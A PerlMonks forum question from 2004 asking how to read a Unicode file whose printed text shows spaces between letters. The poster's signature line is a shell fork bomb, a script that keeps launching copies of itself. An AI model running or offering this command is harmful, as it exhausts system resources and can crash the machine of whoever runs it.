No such thing as a small change | |
PerlMonks |
How to read a Unicode file?by ibanix (Hermit) |
on Jan 23, 2004 at 23:03 UTC ( [id://323727]=perlquestion: print w/replies, xml ) | Need Help?? |
ibanix has asked for the wisdom of the Perl Monks concerning the following question:
Hi monks, I've got a simple question. I have a file in Unicode that I want to read for input. Before knowing it was Unicode, I tried to read it in, but when I printed it back, I get spaces between each letter: L i k e t h i s s e n t a n c e . I looked at perlunicode but my head is swimming with locacles, encodings, and character sets. Can anyone help? Thanks! ibanix
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
Back to
Seekers of Perl Wisdom
|
|